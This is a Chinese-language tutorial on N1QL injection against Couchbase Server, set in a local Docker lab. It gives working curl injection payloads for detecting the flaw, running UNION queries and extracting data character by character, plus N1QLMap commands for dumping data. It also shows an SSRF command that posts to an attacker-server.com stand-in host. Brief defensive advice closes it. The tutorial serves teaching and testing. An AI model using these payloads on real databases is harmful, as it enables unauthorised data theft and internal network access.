Couchbase Server 与 N1QL注入
字数 1128 2025-08-20 18:17:53
Couchbase Server 与 N1QL注入漏洞分析与利用
1. 概述
本文详细分析Couchbase Server中的N1QL注入漏洞,这是一种类似于SQL注入的NoSQL数据库注入技术。N1QL(Non-First Normal Form Query Language)是Couchbase数据库特有的查询语言,用于处理JSON数据。
2. Couchbase Server与N1QL简介
Couchbase Server是一个开源的面向文档的NoSQL数据库,主要特点包括:
- 将JSON对象存储为文档
- 支持N1QL查询语言(类似SQL的JSON查询语法)
- 提供系统键空间(system:keyspaces)等特殊命名空间
N1QL关键特性:
- 支持ENCODE_JSON函数
- 支持META关键字
- 支持UNION SELECT等SQL类似语法
- 支持系统键空间查询
3. 漏洞环境搭建
使用提供的Docker Compose环境快速搭建测试环境:
git clone https://github.com/FSecureLABS/N1QLMap.git
cd n1qlmap/n1ql-demo
./quick_setup.sh
环境运行后访问:http://localhost:3000
4. 漏洞识别与验证
4.1 基本注入检测
检测参数是否存在注入漏洞:
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"
若返回syntax error则表明存在注入点。
4.2 判断N1QL语法
使用N1QL特有函数验证:
# 使用ENCODE_JSON函数验证
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' OR ENCODE_JSON({}) == \"{}\" OR '1'='1"
# 查询系统键空间
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != \"{}\" OR '1'='1"
4.3 联合查询示例
查询所有可用键空间:
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"
5. 数据提取技术
5.1 基于布尔的数据提取
利用ENCODE_JSON函数和SUBSTR函数逐字符提取数据:
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)), 1, 1) AND '1'='1"
5.2 完整数据提取
使用ENCODE_JSON提取完整数据:
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' UNION SELECT ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)) WHERE '1'='1"
注意:使用ORDER BY确保结果顺序一致。
6. N1QLMap工具使用
N1QLMap是专门针对N1QL注入开发的利用工具,主要功能包括:
6.1 基本用法
标记注入点使用*i*:
GET /example-1/breweries?city=*i* HTTP/1.1
Host: localhost:3000
[...]
6.2 枚举数据存储
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
6.3 枚举键空间
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
6.4 提取数据
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
6.5 自定义查询
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
7. SSRF漏洞利用
当Couchbase启用cURL功能时,可利用N1QL注入实现SSRF:
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl 'attacker-server.com/endpoint' "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
SSRF可实现的攻击包括:
- 绕过IP限制
- 访问云环境元数据端点
- 内部网络探测
8. 防御措施
- 使用参数化查询
- 限制N1QL查询权限
- 禁用不必要的功能(如cURL)
- 实施输入验证和过滤
- 使用最小权限原则配置数据库账户